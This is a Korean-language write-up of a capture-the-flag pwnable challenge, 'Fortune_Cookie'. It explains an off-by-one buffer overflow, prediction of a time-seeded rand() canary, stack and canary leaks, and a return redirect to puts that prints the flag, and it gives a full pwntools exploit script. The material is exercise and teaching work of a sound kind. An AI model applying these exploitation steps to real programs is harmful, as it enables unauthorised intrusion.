Fortune_Cookie write up

심효빈

전체적인 바이너리의 보호기법은 일단 출제자가 만든 카나리와 메모리 보호기법인 카나리가 적용되어있고 nx 가 걸려있다. 내용은 처음에 loadkey라는 함수를 호출해서 /home/fortune_cookie/flag 파일을 읽어들인다. 그 내용은 전역변수에 저장이된다. 그 부분은

```
.bss:0804A0A0                 public key
.bss:0804A0A0 key             db    ? ;       |       ; DATA XREF: loadkey+25↑o
```

Bss 영역에 저장이 되므로 이 주소의 내용만 불러오면 flag값을 알아낼 수 있다. 방법은 ret에 puts의 plt 주솟값을 넣고 인자로 저 영역의 주소를 넣어주면 플래그를 불러올수있다 하지만 ret에 넣기위해선 2개의 카나리를 우회해야 하는데 첫번째 카나리는

```
seed = time(0);
srand(seed);                                    // 랜덤
while ( 1 )
{
  print_menu();                                 // 메뉴출력
  memset(&s, 0, 0x64u);
  v3 = rand();
  v4 = rand() * v3;
  v5 = rand();
  v10 = v4 * v5;                                // v3*v4*v5
  g_canary = v4 * v5;                           // =v10=v3*v4*v5
```

Time(0)을 시드로하는 srand를 호출해서 랜덤값이 나오기 때문에 쉽게는 할 수없다. 이걸 실행하지 않고 우회할 방법도 찾지 못하겠으므로 이걸 이용하는게 맞는 것 같다. 같은 라이브러리를 사용한다면 time값은 1초마다 바뀌므로 time의 오차를 1초내로 해서 서로 같이 rand를 실행시킨다면 같은 값이 나오게 될것이다. 그리고 카나리는 릭을해서 값을 받아오면 될것이다.
하지만 한가지 문제점이 있는데 char의 공간은 100이고 우리의 정해진 최대 입력값은 100으로 처음에 선언되어있다. `v9 = 0x64;` 그래서 100개를 꽉채워서 입력해보면

```
Input your string : 1111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111
This is your string : 1111111111111111111111111111111111111111111111111111111111111111
111111111111111111111111111111111111111d
```

이렇게 출력이되는데 100개가아닌 101개에 마지막에 d라는 값이 추가되어서 나오게된다. d는 아스키코드로 0x64이다. 이것은 의미한다 char의 뒤에는 우리가 입력가능한 한도의 수가 있다는

```
for ( i = 0; i <= a2; ++i )
{
  v3 = getchar();
  if ( v3 == '\n' )
    return i;
  *(_BYTE *)(a1 + i) = v3;
}
```

것을 그런데

입력을 받는부분의 코드를 보면 조건문에 등호가 있다. 100개가 아닌 101개를 입력할 수 있는 있는 것 이다. 그러면 100개의 쓰레기값뒤에 0xff같은 큰수를 입력한다면 100개뿐이아닌 255개를 입력할 수 있을것이다. 처음에 저 값을 바꾼 뒤 rand 카나리를 덮어씌우고 그다음 또 카나리를 덮어씌운뒤 ret값까지 덮어씌운다면 익스가 성공하게 된다. 하지만 함정이 하나있었다.

```
lea     esp, [ebp-8]
pop     ecx
pop     ebx
pop     ebp
lea     esp, [ecx-4]
retn
```

바로 main문의 마지막인데 보통은 leave ret 인데 이 바이너리는 이런식으로 원래함수로 돌아갔다 내용을 요약하자면 ebp-8의 주소의 값-4의 주소로 eip가 바뀌게된다. 그러니까 ebp-8에 puts가 들어간 주소+4를 해주면 puts로 eip가 바뀌게돼서 출력을 할 수 있다. 하지만 puts가 들어간 스택의 주소를 어떻게 알 수 있나 하지만 출제자가 천사 셔서 스택알아낼 방법을 다 주어주셨다.

```
int *v12; // [sp+88h] [bp-4h]@1

v12 = &argc;
```

릭만 잘하면 스택의 주소도 알아올 수 있다.

```
==========================================

1. Try Exploit.
2. Give up.
==========================================

> Good bye :p
flag
yeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
```

익스 성공!!!! 해당 디렉토리에있는 flag파일의내용을 출력했다.

익스 코드입니다!!!!

환경은 Ubuntu 14.04 tty1입니다 그래픽에서하면 잘 안될 가능성이 있어요!

```
from pwn import *

from struct import *

import ctypes
```

```
def get_canary():
        v3 = LIBC.rand()
        v4 = LIBC.rand() * v3
        v5 = LIBC.rand()
        v10 = v4*v5
        ands=4294967295
        #print "v10 is %d " %v10
        v10=v10&ands
        #print "v10 is %d " %   v10
        return v10



puts=0x804a028
fputs=0x80486c0


LIBC = ctypes.cdll.LoadLibrary("libc-2.19.so")
t = LIBC.time(0)
LIBC.srand(t)
r = remote("localhost",9060)


#print r.recv()
print r.recvuntil("========================================₩n")
print r.recvuntil("========================================₩n")
canary=get_canary()
r.sendline('1')
```

```
#print r.recv()

r.sendline('1'*100+'₩xff')


sleep(1)

print r.recvuntil("==========₩n")

print r.recvuntil("==========₩n")

canary=get_canary()

#print r.recv()

print "canary 0x%x" % canary

r.sendline('1')


#print r.recv()


input=0xeeeeeeee


#r.sendline('1'*100+p32(input)+'1')

#print r.recv()

#print r.recv()


#r.sendline('1')

#print r.recv()

print r.recv()

#r.sendline('1'*104+p32(canary))

r.sendline('1'*100+'₩xff'+'222'+p32(canary)+'3')

print r.recvuntil(" : ")
```

```
print r.recvuntil(p32(canary))

leak=u32(r.recv(4))

leak=leak-0x33

print r.recv()

print "leak is !!!!!!!!0x%x" % leak

#print r.recv()

sleep(1)


print r.recvuntil("==========================================₩n")

print r.recvuntil("==========================================₩n")

canary = get_canary()

r.sendline('1')

print r.recvuntil(' : ')

r.sendline('1'*100+'₩xff'+'111'+p32(canary)+'3'*4)

print r.recvuntil(" : ")

print r.recvuntil('3'*4)

stack=u32(r.recv(4))


print "stack is 0x%x" % stack

sleep(1)

print r.recvuntil("==========================================₩n")

print r.recvuntil("==========================================₩n")

canary=get_canary()

r.sendline('1')

print r.recvuntil(' : ')

print "canary : 0x%x canary2 : 0x%x stack : 0x%x" % (canary,leak,stack)
```

```
r.sendline('1'*100+'₩xff'*4+p32(canary)+p32(leak)+p32(stack-
24)+p32(0x8048620)+'1111'+p32(0x804a0a0))

#r.sendline(p32(0x8048620)+'1111'+p32(0x804a0a0)+'1'*88+'₩xff'*4+p32(canary)+p32(leak)+p32(st
ack-140))

print "₩nthis is input : "

print r.recv()

print "its last"

print r.recvuntil("=========================================₩n")

print r.recvuntil("=========================================₩n")

r.sendline('2')

print r.recvuntil('p')

print r.recv()

print r.recv()

print r.recv()
```